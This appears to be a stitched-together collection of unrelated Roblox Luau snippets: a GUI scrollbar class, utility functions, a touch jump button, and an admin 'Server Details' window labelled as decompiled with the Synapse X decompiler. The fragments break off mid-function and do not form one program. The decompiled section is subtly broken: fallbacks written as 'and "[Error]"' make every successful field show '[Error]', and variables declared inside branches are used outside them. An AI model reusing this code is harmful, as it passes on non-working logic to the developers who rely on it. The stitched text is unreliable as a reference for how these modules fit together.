Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[
VRNavigation
--]]
|
local VRService = game:GetService("VRService")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local PathfindingService = game:GetService("PathfindingService")
local ContextActionService = game:GetService("ContextActionService")
local StarterGui = game:GetService("StarterGui")
|
-- Backwards compatibility
|
Promise.async = Promise.defer
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- ScrollBar
|
do
-- AutoButtonColor doesn't always reset properly
local function ResetButtonColor(button)
local active = button.Active
button.Active = not active
button.Active = active
end
local function ArrowGraphic(size,dir,scaled,template)
local Frame = Create('Frame',{
Name = "Arrow Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size,0,size);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
local transform
if dir == nil or dir == 'Up' then
function transform(p,s) return p,s end
elseif dir == 'Down' then
function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
elseif dir == 'Left' then
function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
elseif dir == 'Right' then
function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
end
local scale
if scaled then
function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
else
function scale(p,s) return p,s end
end
local o = math.floor(size/4)
if size%2 == 0 then
local n = size/2-1
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,(i+1)*2,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
else
local n = (size-1)/2
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,i*2+1,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
end
if size%4 > 1 then
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,0,0,size-o-1),
UDim2.new(0,size,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
return Frame
end
local function GripGraphic(size,dir,spacing,scaled,template)
local Frame = Create('Frame',{
Name = "Grip Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size.x,0,size.y);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
spacing = spacing or 2
local scale
if scaled then
function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
else
function scale(p) return p end
end
if dir == 'Vertical' then
for i=0,size.x-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,1,0,size.y))
t.Position = scale(UDim2.new(0,i,0,0))
t.Parent = Frame
end
elseif dir == nil or dir == 'Horizontal' then
for i=0,size.y-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,size.x,0,1))
t.Position = scale(UDim2.new(0,0,0,i))
t.Parent = Frame
end
end
return Frame
end
local mt = {
__index = {
GetScrollPercent = function(self)
return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
end;
CanScrollDown = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end;
CanScrollUp = function(self)
return self.ScrollIndex > 0
end;
ScrollDown = function(self)
self.ScrollIndex = self.ScrollIndex + self.PageIncrement
self:Update()
end;
ScrollUp = function(self)
self.ScrollIndex = self.ScrollIndex - self.PageIncrement
self:Update()
end;
ScrollTo = function(self,index)
self.ScrollIndex = index
self:Update()
end;
SetScrollPercent = function(self,percent)
self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
self:Update()
end;
};
}
mt.__index.CanScrollRight = mt.__index.CanScrollDown
mt.__index.CanScrollLeft = mt.__index.CanScrollUp
mt.__index.ScrollLeft = mt.__index.ScrollUp
mt.__index.ScrollRight = mt.__index.ScrollDown
function ScrollBar(horizontal)
-- create row scroll bar
local ScrollFrame = Create('Frame',{
Name = "ScrollFrame";
Position = horizontal and UDim2.new(0,0,1,-GUI_SIZE) or UDim2.new(1,-GUI_SIZE,0,0);
Size = horizontal and UDim2.new(1,0,0,GUI_SIZE) or UDim2.new(0,GUI_SIZE,1,0);
BackgroundTransparency = 1;
Create('ImageButton',{
Name = "ScrollDown";
Position = horizontal and UDim2.new(1,-GUI_SIZE,0,0) or UDim2.new(0,0,1,-GUI_SIZE);
Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
BackgroundColor3 = GuiColor.Button;
BorderColor3 = GuiColor.Border;
--BorderSizePixel = 0;
});
Create('ImageButton',{
Name = "ScrollUp";
Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
BackgroundColor3 = GuiColor.Button;
BorderColor3 = GuiColor.Border;
--BorderSizePixel = 0;
});
Create('ImageButton',{
Name = "ScrollBar";
Size = horizontal and UDim2.new(1,-GUI_SIZE*2,1,0) or UDim2.new(1,0,1,-GUI_SIZE*2);
Position = horizontal and UDim2.new(0,GUI_SIZE,0,0) or UDim2.new(0,0,0,GUI_SIZE);
AutoButtonColor = false;
BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
BorderColor3 = GuiColor.Border;
--BorderSizePixel = 0;
Create('ImageButton',{
Name = "ScrollThumb";
AutoButtonColor = false;
Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
BackgroundColor3 = GuiColor.Button;
BorderColor3 = GuiColor.Border;
--BorderSizePixel = 0;
});
});
})
local graphicTemplate = Create('Frame',{
Name="Graphic";
BorderSizePixel = 0;
BackgroundColor3 = GuiColor.Border;
})
local graphicSize = GUI_SIZE/2
local ScrollDownFrame = ScrollFrame.ScrollDown
local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate)
ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
ScrollDownGraphic.Parent = ScrollDownFrame
local ScrollUpFrame = ScrollFrame.ScrollUp
local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate)
ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
ScrollUpGraphic.Parent = ScrollUpFrame
local ScrollBarFrame = ScrollFrame.ScrollBar
local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
do
local size = GUI_SIZE*3/8
local Decal = GripGraphic(Vector2.new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate)
Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
Decal.Parent = ScrollThumbFrame
end
local Class = setmetatable({
GUI = ScrollFrame;
ScrollIndex = 0;
VisibleSpace = 0;
TotalSpace = 0;
PageIncrement = 1;
},mt)
local UpdateScrollThumb
if horizontal then
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE)
if ScrollThumbFrame.AbsoluteSize.x < GUI_SIZE then
ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
end
local barSize = ScrollBarFrame.AbsoluteSize.x
ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
end
else
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0)
if ScrollThumbFrame.AbsoluteSize.y < GUI_SIZE then
ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
end
local barSize = ScrollBarFrame.AbsoluteSize.y
ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
end
end
local lastDown
local lastUp
local scrollStyle = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0}
local scrollStyle_ds = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0.7}
local function Update()
local t = Class.TotalSpace
local v = Class.VisibleSpace
local s = Class.ScrollIndex
if v <= t then
if s > 0 then
if s + v > t then
Class.ScrollIndex = t - v
end
else
Class.ScrollIndex = 0
end
else
Class.ScrollIndex = 0
end
if Class.UpdateCallback then
if Class.UpdateCallback(Class) == false then
return
end
end
local down = Class:CanScrollDown()
local up = Class:CanScrollUp()
if down ~= lastDown then
lastDown = down
ScrollDownFrame.Active = down
ScrollDownFrame.AutoButtonColor = down
local children = ScrollDownGraphic:GetChildren()
local style = down and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
if up ~= lastUp then
lastUp = up
ScrollUpFrame.Active = up
ScrollUpFrame.AutoButtonColor = up
local children = ScrollUpGraphic:GetChildren()
local style = up and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
ScrollThumbFrame.Visible = down or up
UpdateScrollThumb()
end
Class.Update = Update
SetZIndexOnChanged(ScrollFrame)
local MouseDrag = Create('ImageButton',{
Name = "MouseDrag";
Position = UDim2.new(-0.25,0,-0.25,0);
Size = UDim2.new(1.5,0,1.5,0);
Transparency = 1;
AutoButtonColor = false;
Active = true;
ZIndex = 10;
})
local scrollEventID = 0
ScrollDownFrame.MouseButton1Down:connect(function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollDownFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollDown()
wait(0.2) -- delay before auto scroll
while scrollEventID == current do
Class:ScrollDown()
if not Class:CanScrollDown() then break end
wait()
end
end)
ScrollDownFrame.MouseButton1Up:connect(function()
scrollEventID = tick()
end)
ScrollUpFrame.MouseButton1Down:connect(function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollUp()
wait(0.2)
while scrollEventID == current do
Class:ScrollUp()
if not Class:CanScrollUp() then break end
wait()
end
end)
ScrollUpFrame.MouseButton1Up:connect(function()
scrollEventID = tick()
end)
if horizontal then
ScrollBarFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if x > ScrollThumbFrame.AbsolutePosition.x then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if x < ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if x > ScrollThumbFrame.AbsolutePosition.x then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
else
ScrollBarFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if y > ScrollThumbFrame.AbsolutePosition.y then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if y < ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if y > ScrollThumbFrame.AbsolutePosition.y then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
end
if horizontal then
ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
local drag_con
local up_con
drag_con = MouseDrag.MouseMoved:connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
local bar_abs_one = bar_abs_pos + bar_drag
x = x - mouse_offset
x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x
x = x - bar_abs_pos
Class:SetScrollPercent(x/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:disconnect(); drag_con = nil
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
else
ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
local drag_con
local up_con
drag_con = MouseDrag.MouseMoved:connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
local bar_abs_one = bar_abs_pos + bar_drag
y = y - mouse_offset
y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y
y = y - bar_abs_pos
Class:SetScrollPercent(y/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:disconnect(); drag_con = nil
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
end
function Class:Destroy()
ScrollFrame:Destroy()
MouseDrag:Destroy()
for k in pairs(Class) do
Class[k] = nil
end
setmetatable(Class,nil)
end
Update()
return Class
end
end
|
-- Tween service reference
|
local TweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
local function u1(p1)
if p1 then
return "Yes";
end;
return "No";
end;
return function(p2)
local v1 = nil;
local v2 = client.UI.Make("Window", {
Name = "ServerDetails",
Title = "Server Details",
Icon = client.MatIcons.Topic,
Size = { 420, 360 },
MinSize = { 374, 155 },
AllowMultiple = false
});
local v3 = v2:Add("TabFrame", {
Size = UDim2.new(1, -10, 1, -10),
Position = UDim2.new(0, 5, 0, 5)
});
local v4 = v3:NewTab("Overview", {
Text = "Overview"
});
local v5 = v3:NewTab("Location", {
Text = "Location"
});
local v6 = v3:NewTab("Players", {
Text = "Players"
});
local v7 = v3:NewTab("Workspace", {
Text = "Workspace"
});
if p2.WorkspaceInfo then
local v8 = {
Text = "",
ToolTip = "Advanced stats"
};
function v8.OnClick()
client.Remote.Send("ProcessCommand", p2.CmdPrefix .. "perfstats");
end;
v2:AddTitleButton(v8):Add("ImageLabel", {
Size = UDim2.new(0, 18, 0, 18),
Position = UDim2.new(0, 6, 0, 1),
Image = client.MatIcons.Leaderboard,
BackgroundTransparency = 1
});
v2:AddTitleButton({
Text = "",
ToolTip = "Game explorer",
OnClick = function()
client.Remote.Send("ProcessCommand", p2.CmdPrefix .. "explorer");
end
}):Add("ImageLabel", {
Size = UDim2.new(0, 18, 0, 18),
Position = UDim2.new(0, 6, 0, 1),
Image = client.MatIcons.Folder,
BackgroundTransparency = 1
});
end;
if service.RunService:IsStudio() then
local v9 = "Studio";
elseif p2.PrivateServerId ~= "" then
if p2.PrivateServerOwnerId ~= 0 then
v9 = "Private";
else
v9 = "Reserved";
end;
else
v9 = "Standard";
end;
local v10 = { { "Game ID", game.GameId }, { "Game Creator", service.MarketPlace:GetProductInfo(game.PlaceId).Creator.Name .. " (#" .. p2.CreatorId .. ")" }, { "Creator Type", game.CreatorType.Name }, { "Place ID", game.PlaceId }, { "Place Name", service.MarketPlace:GetProductInfo(game.PlaceId).Name and "[Error]" }, { "Place Version", game.PlaceVersion }, "", { "Server Job ID", game.JobId and "[Error]" }, { "Server Type", v9 }, "", { "Server Speed", math.round(service.Workspace:GetRealPhysicsFPS()) }, { "Server Age", p2.ServerAge }, { "Server Start Time", service.FormatTime(p2.ServerStartTime) } };
if v9 == "Reserved" then
table.insert(v10, 10, { "Private Server ID", p2.PrivateServerId });
elseif v9 == "Private" then
table.insert(v10, 10, { "Private Server ID", p2.PrivateServerId });
table.insert(v10, 11, { "Private Server Owner", (service.Players:GetNameFromUserIdAsync(p2.PrivateServerOwnerId) and "[Unknown Username]") .. " (" .. p2.PrivateServerOwnerId .. ")" });
end;
local v11 = 0;
local v12 = 0;
for v13, v14 in ipairs(v10) do
if type(v14) == "table" then
v11 = v11 + 1;
local v15 = {
Name = v14[1],
Text = " " .. v14[1] .. ":",
ToolTip = v14[3]
};
if v11 % 2 == 0 then
local v16 = 0;
else
v16 = 0.2;
end;
v15.BackgroundTransparency = v16;
v15.Size = UDim2.new(1, -10, 0, 30);
v15.Position = UDim2.new(0, 5, 0, v12 + 5);
v15.TextXAlignment = "Left";
v4:Add("TextLabel", v15):Add("TextBox", {
Text = v14[2],
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0),
Size = UDim2.new(1, -150, 1, 0),
Position = UDim2.new(1, -5, 0, 0),
TextXAlignment = "Right",
TextEditable = false,
ClearTextOnFocus = false
});
v12 = v12 + 30;
else
v12 = v12 + 10;
end;
end;
v4:ResizeCanvas(false, true, false, false, 5, 5);
spawn(function()
while wait(0.5) do
pcall(function()
v4["Server Speed"].TextLabel.Text = math.round(service.Workspace:GetRealPhysicsFPS());
v4["Server Age"].TextLabel.Text = service.FormatTime(os.time() - p2.ServerStartTime);
end);
end;
end);
v1 = function()
local v17 = {};
if p2.ServerInternetInfo then
local l__ServerInternetInfo__18 = p2.ServerInternetInfo;
for v19, v20 in ipairs({ { "Timezone", l__ServerInternetInfo__18.timezone and "[Error]" }, { "Country", l__ServerInternetInfo__18.country and "[Error]" }, { "Region", l__ServerInternetInfo__18.region and "[Error]" }, { "City", l__ServerInternetInfo__18.city and "[Error]" }, { "Zipcode", l__ServerInternetInfo__18.zipcode and "[Error]" }, { "IP Address", l__ServerInternetInfo__18.query and "[Error]" }, { "Coordinates", l__ServerInternetInfo__18.coords and "[Error]" } }) do
table.insert(v17, v20);
end;
else
table.insert(v17, { "ERROR: Server internet info failed to load" });
end;
local v21 = 1;
for v22, v23 in ipairs(v17) do
local v24 = {
Text = " " .. v23[1] .. ":",
ToolTip = v23[3]
};
if v21 % 2 == 0 then
local v25 = 0;
else
v25 = 0.2;
end;
v24.BackgroundTransparency = v25;
v24.Size = UDim2.new(1, -10, 0, 30);
v24.Position = UDim2.new(0, 5, 0, 30 * (v21 - 1) + 5);
v24.TextXAlignment = "Left";
v5:Add("TextLabel", v24):Add("TextLabel", {
Text = v23[2],
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0),
Size = UDim2.new(1, -150, 1, 0),
Position = UDim2.new(1, -5, 0, 0),
TextXAlignment = "Right"
});
v21 = v21 + 1;
end;
v5:ResizeCanvas(false, true, false, false, 5, 5);
end;
if service.RunService:IsStudio() then
local v26 = v5:Add("TextLabel", {
Text = "Server location info has been hidden in a Studio environment for your privacy, since it may be based on your device's location.",
BackgroundTransparency = 0.4,
Size = UDim2.new(1, -10, 0, 80),
Position = UDim2.new(0, 5, 0, 5),
TextXAlignment = "Left",
TextYAlignment = "Top",
TextWrapped = true
});
v26:Add("UIPadding", {
PaddingLeft = UDim.new(0, 5),
PaddingRight = UDim.new(0, 5),
PaddingTop = UDim.new(0, 5),
PaddingBottom = UDim.new(0, 5)
});
v26:Add("ImageLabel", {
Image = client.MatIcons["Privacy tip"],
ImageTransparency = 0.2,
BackgroundTransparency = 1,
Size = UDim2.new(0, 24, 0, 24),
Position = UDim2.new(1, -140, 1, -28)
});
local v27 = {
Text = "Show Anyway",
Size = UDim2.new(0, 110, 0, 30),
Position = UDim2.new(1, -110, 1, -30),
TextXAlignment = "Center"
};
function v27.OnClick()
v1();
v26:Destroy();
end;
v26:Add("TextButton", v27);
else
v1();
end;
local v28 = v6:Add("TextBox", {
Size = UDim2.new(1, -10, 0, 25),
Position = UDim2.new(0, 5, 0, 5),
BackgroundTransparency = 0.5,
BorderSizePixel = 0,
TextColor3 = Color3.new(1, 1, 1),
Text = "",
TextStrokeTransparency = 0.8
});
v28:Add("ImageLabel", {
Image = client.MatIcons.Search,
Position = UDim2.new(1, -21, 0, 3),
Size = UDim2.new(0, 18, 0, 18),
ImageTransparency = 0.2,
BackgroundTransparency = 1
});
local u2 = 0;
local u3 = 0;
local u4 = v6:Add("ScrollingFrame", {
List = {},
ScrollBarThickness = 2,
BackgroundTransparency = 1,
Position = UDim2.new(0, 5, 0, 32),
Size = UDim2.new(1, -10, 1, -37)
});
local u5 = v28;
local function u6(p3)
u2 = 0;
u3 = 0;
local v29 = {};
for v30, v31 in ipairs(service.Players:GetPlayers()) do
table.insert(v29, v31.Name);
end;
table.sort(v29);
local v32 = 1;
u4:ClearAllChildren();
for v33, v34 in ipairs(v29) do
local v35 = service.Players:FindFirstChild(v34);
if v35 and (v34:sub(1, #p3):lower() == p3:lower() or v35.DisplayName:sub(1, #p3):lower() == p3:lower()) then
local v36 = {
Text = " " .. (v34 == v35.DisplayName and "@" .. v34 or v35.DisplayName .. " (@" .. v34 .. ")"),
ToolTip = "User ID: " .. service.Players[v34].UserId .. " [Click to open profile]"
};
if v32 % 2 == 0 then
local v37 = 0;
else
v37 = 0.2;
end;
v36.BackgroundTransparency = v37;
v36.Size = UDim2.new(1, 0, 0, 30);
v36.Position = UDim2.new(0, 0, 0, 30 * (v32 - 1) + 5);
v36.TextXAlignment = "Left";
function v36.OnClicked()
client.Remote.Send("ProcessCommand", p2.CmdPlayerPrefix .. "profile" .. p2.SplitKey .. v34);
v2:Close();
end;
local v38 = u4:Add("TextButton", v36);
local v39 = p2.Admins and p2.Admins[v34];
if v39 and v39 ~= "Player" then
u3 = u3 + 1;
if table.find(p2.Donors, v34) then
v39 = v39 .. " | Donor";
end;
v38:Add("TextLabel", {
Text = " " .. v39 .. " ",
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -120, 0, 0),
TextXAlignment = "Right"
});
elseif table.find(p2.Donors, v34) then
u2 = u2 + 1;
v38:Add("TextLabel", {
Text = " Donor ",
BackgroundTransparency = 1,
Size = UDim2.new(0, 120, 1, 0),
Position = UDim2.new(1, -120, 0, 0),
TextXAlignment = "Right"
});
else
u2 = u2 + 1;
end;
spawn(function()
v38:Add("ImageLabel", {
Image = service.Players:GetUserThumbnailAsync(service.Players[v34].UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48),
BackgroundTransparency = 1,
Size = UDim2.new(0, 30, 0, 30),
Position = UDim2.new(0, 0, 0, 0)
});
end);
v32 = v32 + 1;
end;
end;
u4:ResizeCanvas(false, true, false, false, 5, 5);
u5.PlaceholderText = "Players: " .. u2 .. (p2.Admins and " | Admins: " .. u3 or "") .. " | Donors: " .. #p2.Donors;
end;
u5:GetPropertyChangedSignal("Text"):Connect(function()
u6(u5.Text);
end);
u6("");
u5 = p2.WorkspaceInfo;
if u5 then
u5 = 0;
u4 = 0;
for v40, v41 in ipairs({ { "Streaming Enabled", u1(service.Workspace.StreamingEnabled) }, { "Interpolation Throttling", service.Workspace.InterpolationThrottling.Name }, { "Gravity", service.Workspace.Gravity }, { "Fallen Parts Destroy Height", service.Workspace.FallenPartsDestroyHeight }, { "Objects", p2.WorkspaceInfo.ObjectCount }, { "Cameras", p2.WorkspaceInfo.CameraCount }, { "Nil Players", p2.WorkspaceInfo.NilPlayerCount }, "", { "HTTP Service Enabled", u1(p2.WorkspaceInfo.HttpEnabled) }, { "Loadstring Enabled", u1(p2.WorkspaceInfo.LoadstringEnabled) }, "" }) do
if type(v41) == "table" then
u5 = u5 + 1;
local v42 = {
Name = v41[1],
Text = " " .. v41[1] .. ":",
ToolTip = v41[3]
};
if u5 % 2 == 0 then
local v43 = 0;
else
v43 = 0.2;
end;
v42.BackgroundTransparency = v43;
v42.Size = UDim2.new(1, -10, 0, 25);
v42.Position = UDim2.new(0, 5, 0, u4 + 5);
v42.TextXAlignment = "Left";
v7:Add("TextLabel", v42):Add("TextLabel", {
Text = v41[2],
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0),
Size = UDim2.new(1, -150, 1, 0),
Position = UDim2.new(1, -5, 0, 0),
TextXAlignment = "Right"
});
u4 = u4 + 25;
else
u4 = u4 + 10;
end;
end;
v7:Add("TextLabel", {
Text = "Click on the title bar buttons to view technical performance statistics or to open the game hierarchy explorer.",
TextWrapped = true,
TextYAlignment = "Top",
BackgroundTransparency = 1,
Size = UDim2.new(1, -10, 0, 40),
Position = UDim2.new(0, 5, 0, u4 + 10)
});
v7:ResizeCanvas(false, true, false, false, 5, 5);
else
u4 = v7;
u5 = v7.Disable;
u5(u4);
end;
u4 = v2;
u5 = v2.Ready;
u5(u4);
end;
|
--[=[
Utility functions involving attributes.
@class RxAttributeUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local Observable = require("Observable")
local Maid = require("Maid")
local RxAttributeUtils = {}
|
--[=[
Adds a recursive child writer to use at the key `name`
@param name string
@param writer DataStoreWriter
]=]
|
function DataStoreWriter:AddWriter(name, writer)
assert(type(name) == "string", "Bad name")
assert(not self._writers[name], "Writer already exists for name")
assert(writer, "Bad writer")
self._writers[name] = writer
end
|
--[=[
Gives a task to the maid for cleanup and returnsthe resulting value
@param task MaidTask -- An item to clean
@return MaidTask
]=]
|
function Maid:Add(task)
if not task then
error("Task cannot be false or nil", 2)
end
self[#self._tasks+1] = task
if type(task) == "table" and (not task.Destroy) then
warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback())
end
return task
end
|
-----------------------
|
if f1==1 then f1=0
local b=script.b:Clone()
b.Parent=script.Parent.PS.bu
b.Position=UDim2.new(0,po1.X+8,0,po1.Y+6)
b.BackgroundColor3=p1.BackgroundColor3
b.inf.Value=Vector3.new(1,y1)
end
if z1==0 and s1==0 then
po1=po1+Vector3.new(x1,y1)/3 end
po1=po1.X<0 and Vector3.new(0,po1.Y)or po1
po1=po1.X>26 and Vector3.new(26,po1.Y)or po1
po1=po1.Y<0 and Vector3.new(po1.X,0)or po1
po1=po1.Y>25 and Vector3.new(po1.X,25)or po1
p1.Position=UDim2.new(0,po1.X,0,po1.Y)
local fr1,fr2='b'
if s1==1 then fr1='k'fr2='k'print'AAA'
elseif z1==1 then
fr1='b2'
fr2=y1==0 and's1'or y1==1 and's3'or's2'
elseif math.abs(x1)+math.abs(y1)>0 then
fr1='b'
fr2=math.sin(tick()*8)>0 and'l1'or'l2'
else
fr1='b'
fr2='l2'
end
for _,v in pairs(p1:GetChildren())do
if v.Name==fr1 or v.Name==fr2 then
v.Visible=true else v.Visible=false
end end
|
--Calculates an angle in relation to another part.
|
function core.findAngle(pos1,pos2,part)
local yOrientation = part.Orientation.Y
local rot = math.atan2(pos2.Z-pos1.Z, pos2.X-pos1.X)
local desiredAngle = math.deg(rot)+yOrientation+90
if desiredAngle > 180 then
desiredAngle = -(360-desiredAngle)
elseif desiredAngle <-180 then
desiredAngle = 360+desiredAngle
end
return desiredAngle
end
function core.findPitch(pos1,pos2,part)
local xOrientation = part.Orientation.X
local rot = math.atan2(pos2.Y-pos1.Y, math.abs(pos2.Z-pos1.Z))
local desiredAngle = math.deg(rot)+xOrientation
if desiredAngle > 180 then
desiredAngle = -(360-desiredAngle)
elseif desiredAngle <-180 then
desiredAngle = 360+desiredAngle
end
return desiredAngle
end
function core.tempAttach(pos,life)
local attach = Instance.new("Attachment")
attach.WorldPosition = pos
attach.Parent = workspace.Terrain
debrisService:AddItem(attach,life)
return attach
end
function core.playSound(sound,pos)
local attach = core.tempAttach(pos,sound.TimeLength)
local soundClone = sound:Clone()
soundClone.Parent = attach
soundClone:Play()
end
return core
|
--[[**
ensures Roblox Color3 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Color3 = t.typeof("Color3")
|
--[[ Public API ]]
|
--
function TouchJump:Enable()
ExternallyEnabled = true
enableButton()
end
function TouchJump:Disable()
ExternallyEnabled = false
disableButton()
end
function TouchJump:Create(parentFrame)
if JumpButton then
JumpButton:Destroy()
JumpButton = nil
end
local minAxis = math.min(parentFrame.AbsoluteSize.x, parentFrame.AbsoluteSize.y)
local isSmallScreen = minAxis <= 500
local jumpButtonSize = isSmallScreen and 70 or 120
JumpButton = Instance.new('ImageButton')
JumpButton.Name = "JumpButton"
JumpButton.Visible = false
JumpButton.BackgroundTransparency = 1
JumpButton.Image = TOUCH_CONTROL_SHEET
JumpButton.ImageRectOffset = Vector2.new(1, 146)
JumpButton.ImageRectSize = Vector2.new(144, 144)
JumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize)
JumpButton.Position = isSmallScreen and UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize - 20) or
